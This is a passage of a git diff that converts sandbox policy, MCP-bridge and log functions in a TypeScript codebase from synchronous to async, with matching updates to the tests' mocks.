buildSandboxOpenclawGatewayLogsArgs, describeLogProbeResult, @@ -106,6 +108,7 @@ type SpawnFn = typeof spawn; type ExitFn = (code: number) => never; export type SandboxLogsRuntimeDeps = { + enableAuditLogs?: OpenShellSandboxSettings["enableAuditLogs"]; env?: NodeJS.ProcessEnv; exit?: ExitFn; getOpenshellBinary?: typeof getOpenshellBinary; @@ -146,11 +149,11 @@ function shouldIncludeGatewayLogSource(sandboxName: string, deps: SandboxLogsRun return agentRuntime.hasGatewayRuntime(agent); } -function streamSandboxFollowLogs( +async function streamSandboxFollowLogs( sandboxName: string, options: SandboxLogsOptions, deps: SandboxLogsRuntimeDeps, -): void { +): Promise { const openclawArgs = options.since || !shouldIncludeGatewayLogSource(sandboxName, deps) ? null @@ -451,45 +454,31 @@ function streamSandboxFollowLogs( if (openclawArgs) { addSource("OpenClaw log source", openclawArgs, true); } - enableSandboxAuditLogs(sandboxName, deps); + await enableSandboxAuditLogs(sandboxName, deps); addSource("OpenShell log source", openshellArgs); setupComplete = true; maybeExit(); } -function enableSandboxAuditLogs(sandboxName: string, deps: SandboxLogsRuntimeDeps) { - const args = buildEnableSandboxAuditLogsArgs(sandboxName); - const result = (deps.runOpenshell ?? runOpenshell)(args, { - stdio: ["ignore", "ignore", "pipe"], - ignoreError: true, - timeout: getLogsProbeTimeoutMs(), +async function enableSandboxAuditLogs(sandboxName: string, deps: SandboxLogsRuntimeDeps) { + const result = await (deps.enableAuditLogs ?? cliOpenShellSandboxSettings.enableAuditLogs)({ + target: selectedOpenShellGateway(), + sandboxName, + timeoutMs: getLogsProbeTimeoutMs(), }); - if (result.status !== 0) { - warnSandboxAuditLogsUnavailable(sandboxName, args, result); - } -} - -function warnSandboxAuditLogsUnavailable( - sandboxName: string, - args: string[], - result: LogProbeResult, -): void { - const stderr = String(result.stderr || "").trim(); - console.error( - ` Warning: failed to enable OpenShell audit logs for sandbox '${sandboxName}' ` + - `(${describeLogProbeResult(result)}): openshell ${args.join(" ")}`, - ); - if (stderr) { - console.error(` ${stderr}`); + if (!result.ok) { + console.error( + ` Warning: failed to enable OpenShell audit logs for sandbox '${sandboxName}': ${result.error.message}`, + ); + console.error(" Policy denial events may be missing from OpenShell logs."); } - console.error(" Policy denial events may be missing from OpenShell logs."); } -export function showSandboxLogs(sandboxName: string, options: SandboxLogsOptions | boolean) { - showSandboxLogsWithDeps(sandboxName, options); +export async function showSandboxLogs(sandboxName: string, options: SandboxLogsOptions | boolean) { + await showSandboxLogsWithDeps(sandboxName, options); } -export function showSandboxLogsWithDeps( +export async function showSandboxLogsWithDeps( sandboxName: string, options: SandboxLogsOptions | boolean, deps: SandboxLogsRuntimeDeps = {}, @@ -509,11 +498,11 @@ export function showSandboxLogsWithDeps( } if (logsOptions.follow) { - streamSandboxFollowLogs(sandboxName, logsOptions, deps); + await streamSandboxFollowLogs(sandboxName, logsOptions, deps); return; } - enableSandboxAuditLogs(sandboxName, deps); + await enableSandboxAuditLogs(sandboxName, deps); // Capture stdout from both sources so --tail N can be applied once // to the merged stream rather than independently per source diff --git a/src/lib/actions/sandbox/mcp-bridge-add-restart.ts b/src/lib/actions/sandbox/mcp-bridge-add-restart.ts index 339b8c4e7f0..d08f10f8388 100644 --- a/src/lib/actions/sandbox/mcp-bridge-add-restart.ts +++ b/src/lib/actions/sandbox/mcp-bridge-add-restart.ts @@ -140,7 +140,7 @@ async function assertPreparedMcpAddResourcesAbsent( entry.providerName ?? "", entry.denyTools, ); - const policyState = policies.getPresetContentGatewayState( + const policyState = await policies.getPresetContentGatewayState( sandboxName, policyContent, undefined, @@ -238,7 +238,7 @@ async function updateMcpBridgeDenyToolsUnlocked( // update from the journal. writeBridgeEntry(sandboxName, pendingEntry); try { - removeGeneratedPolicy(sandboxName, storedEntry, { runtimeSelection }); + await removeGeneratedPolicy(sandboxName, storedEntry, { runtimeSelection }); } catch (error) { writeBridgeEntry(sandboxName, storedEntry); throw error; @@ -252,7 +252,7 @@ async function updateMcpBridgeDenyToolsUnlocked( ); } try { - applyRecordedGeneratedPolicy(sandboxName, updatedEntry, runtimeSelection); + await applyRecordedGeneratedPolicy(sandboxName, updatedEntry, runtimeSelection); } catch (error) { const detail = error instanceof Error ? error.message : String(error); throw new McpBridgeError( @@ -478,7 +478,7 @@ async function addMcpBridgeUnlocked( // policy cleanup happen only after the running-image capability probe. await assertMcpProviderRecoverable(entry, providerRuntimeSelection); } catch (error) { - removeGeneratedPolicy(sandboxName, entry, { + await removeGeneratedPolicy(sandboxName, entry, { bestEffort: true, runtimeSelection: providerRuntimeSelection, }); @@ -527,7 +527,7 @@ async function addMcpBridgeUnlocked( // provider mutation. OpenShell requires the endpointless provider to be // attached before it accepts credential_binding.provider, and withholds // that provider's static credential until the bound policy is active. - applyGeneratedPolicy(sandboxName, entry, target, { + await applyGeneratedPolicy(sandboxName, entry, target, { bindCredential: false, runtimeSelection: providerRuntimeSelection, }); @@ -574,7 +574,7 @@ async function addMcpBridgeUnlocked( } providerAttachAttempted = true; await attachProvider(sandboxName, entry, providerRuntimeSelection); - applyGeneratedPolicy(sandboxName, entry, target, { + await applyGeneratedPolicy(sandboxName, entry, target, { runtimeSelection: providerRuntimeSelection, }); let refreshedAfterObservedAbsence = false; @@ -671,7 +671,7 @@ async function addMcpBridgeUnlocked( }); } if (policyApplied) { - removeGeneratedPolicy(sandboxName, entry, { + await removeGeneratedPolicy(sandboxName, entry, { bestEffort: true, runtimeSelection: providerRuntimeSelection, }); diff --git a/src/lib/actions/sandbox/mcp-bridge-destroy-preflight.ts b/src/lib/actions/sandbox/mcp-bridge-destroy-preflight.ts index c2966e91680..065d2377f70 100644 --- a/src/lib/actions/sandbox/mcp-bridge-destroy-preflight.ts +++ b/src/lib/actions/sandbox/mcp-bridge-destroy-preflight.ts @@ -116,7 +116,7 @@ export async function discardSafeIncompleteMcpAdds( if (options.sandboxAbsent) { assertGeneratedPolicyRegistrationMutationSafe(sandboxName, entry); } else { - removeGeneratedPolicy(sandboxName, entry, { + await removeGeneratedPolicy(sandboxName, entry, { runtimeSelection: providerRuntimeSelection!, }); } diff --git a/src/lib/actions/sandbox/mcp-bridge-destroy.ts b/src/lib/actions/sandbox/mcp-bridge-destroy.ts index 3f7e07c665c..619129be998 100644 --- a/src/lib/actions/sandbox/mcp-bridge-destroy.ts +++ b/src/lib/actions/sandbox/mcp-bridge-destroy.ts @@ -142,7 +142,7 @@ export async function prepareMcpBridgesForDestroy( ); } for (const entry of entries) { - removeGeneratedPolicy(sandboxName, entry, { + await removeGeneratedPolicy(sandboxName, entry, { runtimeSelection: providerRuntimeSelection, }); removedPolicies.push(entry); diff --git a/src/lib/actions/sandbox/mcp-bridge-policy.test.ts b/src/lib/actions/sandbox/mcp-bridge-policy.test.ts index ce55e8d1bce..d123703e86b 100644 --- a/src/lib/actions/sandbox/mcp-bridge-policy.test.ts +++ b/src/lib/actions/sandbox/mcp-bridge-policy.test.ts @@ -66,10 +66,10 @@ describe("generated MCP policy", () => { ]); }); - it("matches live policy against persisted denied-tool intent (#11115)", () => { + it("matches live policy against persisted denied-tool intent (#11115)", async () => { const stateSpy = vi .spyOn(policies, "getPresetContentGatewayState") - .mockImplementation((_sandboxName, content) => { + .mockImplementation(async (_sandboxName, content) => { const parsed = YAML.parse(content) as { network_policies: Record< string, @@ -83,7 +83,7 @@ describe("generated MCP policy", () => { }); expect( - getPolicyGatewayState("alpha", { ...entry, denyTools: ["delete_*"] }, runtimeSelection), + await getPolicyGatewayState("alpha", { ...entry, denyTools: ["delete_*"] }, runtimeSelection), ).toBe("match"); expect(stateSpy).toHaveBeenCalledOnce(); }); @@ -106,15 +106,15 @@ describe("generated MCP policy", () => { ]); }); - it("keeps policy drift distinct from unavailable inspection (#11115)", () => { + it("keeps policy drift distinct from unavailable inspection (#11115)", async () => { vi.spyOn(policies, "getPresetContentGatewayState") - .mockReturnValueOnce("drift") - .mockReturnValueOnce(null); + .mockResolvedValueOnce("drift") + .mockResolvedValueOnce(null); expect( - getPolicyGatewayState("alpha", { ...entry, denyTools: ["delete_*"] }, runtimeSelection), + await getPolicyGatewayState("alpha", { ...entry, denyTools: ["delete_*"] }, runtimeSelection), ).toBe("drift"); - expect(getPolicyGatewayState("alpha", entry, runtimeSelection)).toBeNull(); + expect(await getPolicyGatewayState("alpha", entry, runtimeSelection)).toBeNull(); }); it("omits deny_rules when the bridge has no denied tools (#11115)", () => { @@ -131,11 +131,11 @@ describe("generated MCP policy", () => { expect(parsed.network_policies.mcp_bridge_github.endpoints[0]).not.toHaveProperty("deny_rules"); }); - it("applies directly to live OpenShell policy without a custom-policy registry row", () => { + it("applies directly to live OpenShell policy without a custom-policy registry row", async () => { const livePolicy: { network_policies: Record } = { network_policies: {} }; const applySpy = vi .spyOn(policies, "applyPresetContent") - .mockImplementation((_sandboxName, _presetName, content) => { + .mockImplementation(async (_sandboxName, _presetName, content) => { Object.assign( livePolicy.network_policies, (YAML.parse(content) as typeof livePolicy).network_policies, @@ -144,14 +144,14 @@ describe("generated MCP policy", () => { }); const stateSpy = vi .spyOn(policies, "getPresetContentGatewayState") - .mockImplementation((_sandboxName, content) => { + .mockImplementation(async (_sandboxName, content) => { const expected = (YAML.parse(content) as typeof livePolicy).network_policies; return Object.keys(expected).every((key) => key in livePolicy.network_policies) ? "match" : "absent"; }); - applyGeneratedPolicy("alpha", entry, { addresses: ["8.8.8.8"] }, { runtimeSelection }); + await applyGeneratedPolicy("alpha", entry, { addresses: ["8.8.8.8"] }, { runtimeSelection }); expect(livePolicy.network_policies.mcp_bridge_github).toMatchObject({ endpoints: [ @@ -170,7 +170,7 @@ describe("generated MCP policy", () => { expect(stateSpy).toHaveBeenCalledWith("alpha", expect.any(String), undefined, runtimeSelection); }); - it("removes generated content from the live policy", () => { + it("removes generated content from the live policy", async () => { const livePolicy: { network_policies: Record } = { network_policies: { mcp_bridge_github: YAML.parse( @@ -186,7 +186,7 @@ describe("generated MCP policy", () => { }; const removeSpy = vi .spyOn(policies, "removePreset") - .mockImplementation((_sandboxName, _presetName, options) => { + .mockImplementation(async (_sandboxName, _presetName, options) => { const removal = (YAML.parse(options?.presetContent ?? "") as typeof livePolicy) .network_policies; expect(removal).toHaveProperty("mcp_bridge_github"); @@ -194,7 +194,7 @@ describe("generated MCP policy", () => { return true; }); - removeGeneratedPolicy("alpha", entry, { runtimeSelection }); + await removeGeneratedPolicy("alpha", entry, { runtimeSelection }); expect(livePolicy.network_policies).not.toHaveProperty("mcp_bridge_github"); expect(removeSpy).toHaveBeenCalledWith( @@ -204,15 +204,16 @@ describe("generated MCP policy", () => { ); }); - it("refuses generated policy without exact public address pins", () => { - expect(() => - applyGeneratedPolicy( - "alpha", - { ...entry, allowedIps: [] }, - { addresses: [] }, - { runtimeSelection }, - ), - ).toThrow(/without exact public address pins/); + it("refuses generated policy without exact public address pins", async () => { + await expect( + (async () => + await applyGeneratedPolicy( + "alpha", + { ...entry, allowedIps: [] }, + { addresses: [] }, + { runtimeSelection }, + ))(), + ).rejects.toThrow(/without exact public address pins/); }); it("refuses to render a credential binding without an exact provider name", () => { diff --git a/src/lib/actions/sandbox/mcp-bridge-policy.ts b/src/lib/actions/sandbox/mcp-bridge-policy.ts index 9e823a3fdde..9090bb5d743 100644 --- a/src/lib/actions/sandbox/mcp-bridge-policy.ts +++ b/src/lib/actions/sandbox/mcp-bridge-policy.ts @@ -46,7 +46,7 @@ export function materializePendingMcpDenyTools(entry: McpBridgeEntry): McpBridge }; } -export function applyGeneratedPolicy( +export async function applyGeneratedPolicy( sandboxName: string, entry: McpBridgeEntry, target: McpBridgeTargetValidation, @@ -54,7 +54,7 @@ export function applyGeneratedPolicy( bindCredential?: boolean; runtimeSelection: McpProviderInspectionRuntimeSelection; }, -): void { +): Promise { const policyEntry = materializePendingMcpDenyTools(entry); const addresses = assertMcpBridgePolicyTarget(policyEntry, target); if (addresses.length === 0) { @@ -80,33 +80,42 @@ export function applyGeneratedPolicy( policyEntry.providerName ?? "", policyEntry.denyTools, ); - applyGeneratedPolicyContent(sandboxName, policyEntry, content, options.runtimeSelection); + await applyGeneratedPolicyContent(sandboxName, policyEntry, content, options.runtimeSelection); } -function applyGeneratedPolicyContent( +async function applyGeneratedPolicyContent( sandboxName: string, entry: McpBridgeEntry, content: string, runtimeSelection: McpProviderInspectionRuntimeSelection, -): void { +): Promise { if ( - !policies.applyPresetContent(sandboxName, entry.policyName, content, { + !(await policies.applyPresetContent(sandboxName, entry.policyName, content, { nonFatal: true, runtimeSelection, - }) || - policies.getPresetContentGatewayState(sandboxName, content, undefined, runtimeSelection) !== - "match" + })) || + (await policies.getPresetContentGatewayState( + sandboxName, + content, + undefined, + runtimeSelection, + )) !== "match" ) { throw new McpBridgeError(`Failed to activate generated MCP policy '${entry.policyName}'.`); } } -export function applyRecordedGeneratedPolicy( +export async function applyRecordedGeneratedPolicy( sandboxName: string, entry: McpBridgeEntry, runtimeSelection: McpProviderInspectionRuntimeSelection, -): void { - applyGeneratedPolicyContent(sandboxName, entry, generatedPolicyContent(entry), runtimeSelection); +): Promise { + await applyGeneratedPolicyContent( + sandboxName, + entry, + generatedPolicyContent(entry), + runtimeSelection, + ); } export function assertMcpBridgePolicyTarget( @@ -204,17 +213,17 @@ export function assertGeneratedPolicyRegistrationMutationSafe( }; } -export function removeGeneratedPolicy( +export async function removeGeneratedPolicy( sandboxName: string, entry: McpBridgeEntry, options: { bestEffort?: boolean; runtimeSelection: McpProviderInspectionRuntimeSelection; }, -): void { +): Promise { const policyKey = buildMcpBridgePolicyKey(entry.server); const content = `network_policies:\n ${policyKey}: {}\n`; - const removed = policies.removePreset(sandboxName, entry.policyName, { + const removed = await policies.removePreset(sandboxName, entry.policyName, { nonFatal: true, presetContent: content, runtimeSelection: options.runtimeSelection, @@ -240,14 +249,14 @@ export function getRegisteredGeneratedPolicy( } } -export function getPolicyGatewayState( +export async function getPolicyGatewayState( sandboxName: string, entry: McpBridgeEntry | undefined, runtimeSelection: McpProviderInspectionRuntimeSelection, -): "absent" | "drift" | "match" | null { +): Promise<"absent" | "drift" | "match" | null> { const registered = getRegisteredGeneratedPolicy(sandboxName, entry); if (!registered) return entry ? null : "absent"; - return policies.getPresetContentGatewayState( + return await policies.getPresetContentGatewayState( sandboxName, registered.content, undefined, diff --git a/src/lib/actions/sandbox/mcp-bridge-rebuild.ts b/src/lib/actions/sandbox/mcp-bridge-rebuild.ts index f7b043da093..77fd73fc07f 100644 --- a/src/lib/actions/sandbox/mcp-bridge-rebuild.ts +++ b/src/lib/actions/sandbox/mcp-bridge-rebuild.ts @@ -106,12 +106,12 @@ function policyWithoutManagedMcpEntries( ); } -function assertMcpTeardownPolicyUnchanged( +async function assertMcpTeardownPolicyUnchanged( sandboxName: string, expectedTeardownPolicy: string, runtimeSelection: McpProviderInspectionRuntimeSelection, -): void { - const currentPolicy = policies.captureRecordedSandboxBasePolicy( +): Promise { + const currentPolicy = await policies.captureRecordedSandboxBasePolicy( sandboxName, "verify the live policy before MCP teardown", runtimeSelection, @@ -268,7 +268,7 @@ export async function prepareMcpBridgesForRebuild( // mutations so the replacement receives the complete operator-owned // document, including the MCP rules that must be removed temporarily from // the still-running source sandbox before provider detach. - const policyHandoff = policies.captureRecordedSandboxBasePolicy( + const policyHandoff = await policies.captureRecordedSandboxBasePolicy( sandboxName, "capture the live policy before MCP teardown", providerRuntimeSelection, @@ -301,7 +301,7 @@ export async function prepareMcpBridgesForRebuild( // The same-name replacement journal fingerprints this source row before // MCP teardown removes the live entry from the source sandbox. Rebuild's // OpenShell policy handoff already captured the complete live document. - removeGeneratedPolicy(sandboxName, entry, { + await removeGeneratedPolicy(sandboxName, entry, { runtimeSelection: providerRuntimeSelection, }); removedPolicies.push(entry); @@ -327,7 +327,11 @@ export async function prepareMcpBridgesForRebuild( // reattached if sandbox deletion later aborts. detached.push(entry); } - assertMcpTeardownPolicyUnchanged(sandboxName, expectedTeardownPolicy, providerRuntimeSelection); + await assertMcpTeardownPolicyUnchanged( + sandboxName, + expectedTeardownPolicy, + providerRuntimeSelection, + ); } catch (error) { const rollbackFailures: string[] = []; let runtimeRestored = false; @@ -368,7 +372,7 @@ export async function prepareMcpBridgesForRebuild( policyHandoff, runtimeSelection: providerRuntimeSelection, revalidateBeforeDelete: async () => { - assertMcpTeardownPolicyUnchanged( + await assertMcpTeardownPolicyUnchanged( sandboxName, expectedTeardownPolicy, providerRuntimeSelection, diff --git a/src/lib/actions/sandbox/mcp-bridge-remove.ts b/src/lib/actions/sandbox/mcp-bridge-remove.ts index 2b17fd5c407..5edc34d7fe4 100644 --- a/src/lib/actions/sandbox/mcp-bridge-remove.ts +++ b/src/lib/actions/sandbox/mcp-bridge-remove.ts @@ -351,7 +351,7 @@ async function removeMcpBridgeUnlocked( let policyCleanupProved = false; if (adapterCleanupProved) { try { - removeGeneratedPolicy(sandboxName, entry, { + await removeGeneratedPolicy(sandboxName, entry, { runtimeSelection: providerRuntimeSelection, }); policyCleanupProved = true; diff --git a/src/lib/actions/sandbox/mcp-bridge-restart.ts b/src/lib/actions/sandbox/mcp-bridge-restart.ts index b7a3aab4216..953352e39d9 100644 --- a/src/lib/actions/sandbox/mcp-bridge-restart.ts +++ b/src/lib/actions/sandbox/mcp-bridge-restart.ts @@ -233,7 +233,7 @@ async function restartMcpBridgeUnlocked(sandboxName: string, server?: string): P // credentials. The temporary policy cannot bind the provider until an // endpointless profile is attached. await ensureMcpBridgeProviderProfile(providerRuntimeSelection); - applyGeneratedPolicy(sandboxName, entry, target, { + await applyGeneratedPolicy(sandboxName, entry, target, { bindCredential: false, runtimeSelection: providerRuntimeSelection, }); @@ -276,7 +276,7 @@ async function restartMcpBridgeUnlocked(sandboxName: string, server?: string): P ); } await attachProvider(sandboxName, entry, providerRuntimeSelection); - applyGeneratedPolicy(sandboxName, entry, target, { + await applyGeneratedPolicy(sandboxName, entry, target, { runtimeSelection: providerRuntimeSelection, }); await refreshMcpProviderEnvironment(entry, providerRuntimeSelection); @@ -376,14 +376,14 @@ export async function restoreExistingMcpBridgeRuntime( ); await ensureMcpBridgeProviderProfile(providerRuntimeSelection); if (options.applyPolicy !== false) { - applyGeneratedPolicy(sandboxName, entry, resolvedTargetPins(resolvedByServer, entry), { + await applyGeneratedPolicy(sandboxName, entry, resolvedTargetPins(resolvedByServer, entry), { bindCredential: false, runtimeSelection: providerRuntimeSelection, }); } await attachProvider(sandboxName, entry, providerRuntimeSelection); if (options.applyPolicy !== false) { - applyGeneratedPolicy(sandboxName, entry, resolvedTargetPins(resolvedByServer, entry), { + await applyGeneratedPolicy(sandboxName, entry, resolvedTargetPins(resolvedByServer, entry), { runtimeSelection: providerRuntimeSelection, }); } diff --git a/src/lib/actions/sandbox/mcp-bridge-status.ts b/src/lib/actions/sandbox/mcp-bridge-status.ts index 84debc1d0e1..f11a948af96 100644 --- a/src/lib/actions/sandbox/mcp-bridge-status.ts +++ b/src/lib/actions/sandbox/mcp-bridge-status.ts @@ -328,7 +328,7 @@ export async function statusMcpBridge( entries.map(async ([name, entry]) => { const support = entry ? getPersistedBridgeSupport(entry) : getSupportSummary(agent); const registeredPolicy = getRegisteredGeneratedPolicy(sandboxName, entry); - const policyState = getPolicyGatewayState(sandboxName, entry, providerRuntimeSelection); + const policyState = await getPolicyGatewayState(sandboxName, entry, providerRuntimeSelection); const policyPresence = policyState === "match" ? true : policyState === "absent" ? false : null; const hasCredentialBinding = diff --git a/src/lib/actions/sandbox/pi-candidate-lifecycle.test.ts b/src/lib/actions/sandbox/pi-candidate-lifecycle.test.ts index 19d6259911f..7608402b1fe 100644 --- a/src/lib/actions/sandbox/pi-candidate-lifecycle.test.ts +++ b/src/lib/actions/sandbox/pi-candidate-lifecycle.test.ts @@ -122,13 +122,13 @@ describe("Pi candidate operational surfaces", () => { expect(report.agentLoadError).toContain("release candidate"); }); - it("keeps a recorded Pi sandbox off the gateway log source (#7927)", () => { + it("keeps a recorded Pi sandbox off the gateway log source (#7927)", async () => { const env = qualify(); const agent = loadAgent("pi", env); const runOpenshell = vi.fn((args: string[]) => ({ status: 0, stdout: args.join(" ") })); const exitCodes: number[] = []; - showSandboxLogsWithDeps( + await showSandboxLogsWithDeps( SANDBOX, { follow: false, lines: "50", since: null }, { diff --git a/src/lib/actions/sandbox/policy-channel-add-drift.test.ts b/src/lib/actions/sandbox/policy-channel-add-drift.test.ts index db28c16283a..332e0a898e3 100644 --- a/src/lib/actions/sandbox/policy-channel-add-drift.test.ts +++ b/src/lib/actions/sandbox/policy-channel-add-drift.test.ts @@ -86,25 +86,25 @@ beforeEach(() => { ); vi.spyOn(policies, "listPresets").mockReturnValue(POLICY_PRESETS); - vi.spyOn(policies, "listCustomPresets").mockReturnValue([]); - vi.spyOn(policies, "getAppliedPresets").mockReturnValue(["pypi"]); + vi.spyOn(policies, "listCustomPresets").mockResolvedValue([]); + vi.spyOn(policies, "getAppliedPresets").mockResolvedValue(["pypi"]); loadPresetForSandboxMock = vi .spyOn(policies, "loadPresetForSandbox") .mockImplementation( - (_sandboxName: unknown, name: unknown) => + async (_sandboxName: unknown, name: unknown) => `network_policies:\n ${String(name)}:\n host: ${String(name)}.example.com\n`, ); - applyPresetMock = vi.spyOn(policies, "applyPreset").mockReturnValue(true); - gatewayStateMock = vi.spyOn(policies, "getPresetContentGatewayState").mockReturnValue("drift"); + applyPresetMock = vi.spyOn(policies, "applyPreset").mockResolvedValue(true); + gatewayStateMock = vi.spyOn(policies, "getPresetContentGatewayState").mockResolvedValue("drift"); npmCompatibilityStateMock = vi .spyOn(policies, "getOpenClawNpmCompatibilityState") - .mockReturnValue("match"); + .mockResolvedValue("match"); vi.spyOn(policies, "getPresetEndpoints").mockReturnValue(["pypi.example.com"]); vi.spyOn(policies, "getPresetValidationWarning").mockReturnValue(null); refreshSpy = vi .spyOn(policyContextRefresh, "refreshSandboxPolicyContextFile") - .mockReturnValue({ outcome: "ok", written: true }); + .mockResolvedValue({ outcome: "ok", written: true }); }); afterEach(() => { @@ -176,7 +176,7 @@ describe("addSandboxPolicy drift-aware named re-add", () => { vi.spyOn(policies, "listPresets").mockReturnValue([ { file: "wechat/policy/openclaw.yaml", name: "wechat", description: "WeChat" }, ]); - vi.spyOn(policies, "getAppliedPresets").mockReturnValue(["wechat"]); + vi.spyOn(policies, "getAppliedPresets").mockResolvedValue(["wechat"]); loadPresetForSandboxMock.mockRestore(); let appliedPolicy: string | null = null; applyPresetMock.mockImplementation( @@ -232,8 +232,8 @@ describe("addSandboxPolicy drift-aware named re-add", () => { vi.spyOn(policies, "listPresets").mockReturnValue([ { file: "npm.yaml", name: "npm", description: "npm registry access" }, ]); - vi.spyOn(policies, "getAppliedPresets").mockReturnValue(["npm"]); - vi.spyOn(policies, "loadPresetForSandbox").mockReturnValue( + vi.spyOn(policies, "getAppliedPresets").mockResolvedValue(["npm"]); + vi.spyOn(policies, "loadPresetForSandbox").mockResolvedValue( "network_policies:\n npm_yarn:\n name: npm_yarn\n", ); const disclosureSpy = vi @@ -306,7 +306,7 @@ describe("addSandboxPolicy drift-aware named re-add", () => { }); it("fails without an already-applied claim when the preset content cannot be read", async () => { - vi.spyOn(policies, "loadPresetForSandbox").mockReturnValue(null); + vi.spyOn(policies, "loadPresetForSandbox").mockResolvedValue(null); await expect( captureExit(() => addSandboxPolicy("alpha", { preset: "pypi", yes: true })), @@ -336,7 +336,7 @@ describe("addSandboxPolicy drift-aware named re-add", () => { }); it("does not classify drift for a preset that is not applied yet", async () => { - vi.spyOn(policies, "getAppliedPresets").mockReturnValue([]); + vi.spyOn(policies, "getAppliedPresets").mockResolvedValue([]); await addSandboxPolicy("alpha", { preset: "pypi", yes: true }); diff --git a/src/lib/actions/sandbox/policy-channel-agent-gate.test.ts b/src/lib/actions/sandbox/policy-channel-agent-gate.test.ts index 4d5eae9d949..24f19be9d6a 100644 --- a/src/lib/actions/sandbox/policy-channel-agent-gate.test.ts +++ b/src/lib/actions/sandbox/policy-channel-agent-gate.test.ts @@ -67,11 +67,11 @@ beforeEach(() => { runOpenshellMock = vi.spyOn(runtime, "runOpenshell").mockReturnValue(successfulOpenshellResult()); loadPresetForSandboxMock = vi .spyOn(policy, "loadPresetForSandbox") - .mockReturnValue("network_policies:\n stub: {}\n"); + .mockResolvedValue("network_policies:\n stub: {}\n"); vi.spyOn(policy, "parsePresetPolicyKeys").mockReturnValue(["stub"]); vi.spyOn(policy, "listPresets").mockReturnValue([]); - applyPresetMock = vi.spyOn(policy, "applyPreset").mockReturnValue(true); - vi.spyOn(policy, "getAppliedPresets").mockReturnValue([]); + applyPresetMock = vi.spyOn(policy, "applyPreset").mockResolvedValue(true); + vi.spyOn(policy, "getAppliedPresets").mockResolvedValue([]); getCredentialMock = vi.spyOn(store, "getCredential").mockReturnValue(null); saveCredentialMock = vi.spyOn(store, "saveCredential").mockImplementation(() => undefined); promptMock = vi.spyOn(store, "prompt").mockResolvedValue(""); diff --git a/src/lib/actions/sandbox/policy-channel-baseline.test.ts b/src/lib/actions/sandbox/policy-channel-baseline.test.ts index c1f09cedf1c..5a58d6db302 100644 --- a/src/lib/actions/sandbox/policy-channel-baseline.test.ts +++ b/src/lib/actions/sandbox/policy-channel-baseline.test.ts @@ -87,8 +87,8 @@ beforeEach(() => { key === "nous_research" ? NOUS_ENTRY : null, ); vi.spyOn(policies, "getSandboxBaselineEntryDigest").mockReturnValue("digest-1"); - excludeBaselineEntryMock = vi.spyOn(policies, "excludeBaselineEntry").mockReturnValue(true); - restoreBaselineEntryMock = vi.spyOn(policies, "restoreBaselineEntry").mockReturnValue(true); + excludeBaselineEntryMock = vi.spyOn(policies, "excludeBaselineEntry").mockResolvedValue(true); + restoreBaselineEntryMock = vi.spyOn(policies, "restoreBaselineEntry").mockResolvedValue(true); }); afterEach(() => { diff --git a/src/lib/actions/sandbox/policy-channel-conflict.test.ts b/src/lib/actions/sandbox/policy-channel-conflict.test.ts index c4a839e54ef..96206a3602b 100644 --- a/src/lib/actions/sandbox/policy-channel-conflict.test.ts +++ b/src/lib/actions/sandbox/policy-channel-conflict.test.ts @@ -353,7 +353,7 @@ beforeEach(() => { // Lazy legacy-provider seam: no onboarding graph is loaded for this suite. upsertMock = vi.spyOn(policyChannelDependencies, "upsertMessagingProviders").mockReturnValue([]); vi.spyOn(policyChannelDependencies, "revalidateChannelProviderPolicy").mockImplementation( - () => undefined, + async () => undefined, ); // openshell runtime + gateway recovery. @@ -387,12 +387,12 @@ beforeEach(() => { vi.spyOn(policy, "loadPreset").mockReturnValue("network_policies:\n stub: {}\n"); vi.spyOn(policy, "parsePresetPolicyKeys").mockReturnValue(["stub"]); vi.spyOn(policy, "listPresets").mockReturnValue([]); - vi.spyOn(policy, "getPresetContentGatewayState").mockReturnValue("absent"); + vi.spyOn(policy, "getPresetContentGatewayState").mockResolvedValue("absent"); scopeDisclosureMock = vi .spyOn(policy, "logPresetScopeForState") .mockImplementation(() => undefined); - applyPresetMock = vi.spyOn(policy, "applyPreset").mockReturnValue(true); - vi.spyOn(policy, "getAppliedPresets").mockReturnValue([]); + applyPresetMock = vi.spyOn(policy, "applyPreset").mockResolvedValue(true); + vi.spyOn(policy, "getAppliedPresets").mockResolvedValue([]); // Downstream rebuild is not under test. rebuildSandboxMock = vi @@ -585,8 +585,8 @@ describe("addSandboxChannel cross-sandbox conflict check (#4305)", () => { vi.mocked(policy.listPresets).mockReturnValue([ { file: "telegram.yaml", name: "telegram", description: "Telegram" }, ]); - vi.mocked(policy.getAppliedPresets).mockReturnValue(["telegram"]); - const removePresetMock = vi.spyOn(policy, "removePreset").mockReturnValue(true); + vi.mocked(policy.getAppliedPresets).mockResolvedValue(["telegram"]); + const removePresetMock = vi.spyOn(policy, "removePreset").mockResolvedValue(true); runOpenshellMock.mockReturnValue(successfulOpenshellResult()); await expect(addSandboxChannel("alpha", { channel: "telegram" })).rejects.toThrow( diff --git a/src/lib/actions/sandbox/policy-channel-custom-preset-dry-run.test.ts b/src/lib/actions/sandbox/policy-channel-custom-preset-dry-run.test.ts index 4e5acfd2b61..6a2c108e0bb 100644 --- a/src/lib/actions/sandbox/policy-channel-custom-preset-dry-run.test.ts +++ b/src/lib/actions/sandbox/policy-channel-custom-preset-dry-run.test.ts @@ -52,10 +52,10 @@ beforeEach(() => { vi.spyOn(process, "exit").mockImplementation(((code?: number) => { throw new ExitError(code); }) as never); - applyPresetContentSpy = vi.spyOn(policies, "applyPresetContent").mockReturnValue(true); + applyPresetContentSpy = vi.spyOn(policies, "applyPresetContent").mockResolvedValue(true); refreshSpy = vi .spyOn(policyContextRefresh, "refreshSandboxPolicyContextFile") - .mockReturnValue({ outcome: "ok", written: true }); + .mockResolvedValue({ outcome: "ok", written: true }); }); afterEach(() => { diff --git a/src/lib/actions/sandbox/policy-channel-dependencies.ts b/src/lib/actions/sandbox/policy-channel-dependencies.ts index 652b3f7b2c1..f2c2cbeacd2 100644 --- a/src/lib/actions/sandbox/policy-channel-dependencies.ts +++ b/src/lib/actions/sandbox/policy-channel-dependencies.ts @@ -59,11 +59,11 @@ export const policyChannelDependencies = { const cleanup = require("../../sandbox/privileged-exec") as PrivilegedExecModule; return cleanup.clearStoppedSandboxStateRoots(sandboxName, paths); }, - revalidateChannelProviderPolicy(sandboxName: string, gatewayName: string): void { + async revalidateChannelProviderPolicy(sandboxName: string, gatewayName: string): Promise { const policy = require("../../policy") as PolicyModule; const operation = `change messaging providers for sandbox '${sandboxName}'`; - const context = policy.inspectPolicyMutationContext(sandboxName, operation, gatewayName); - policy.recheckPolicyMutationContext(sandboxName, operation, context); + const context = await policy.inspectPolicyMutationContext(sandboxName, operation, gatewayName); + await 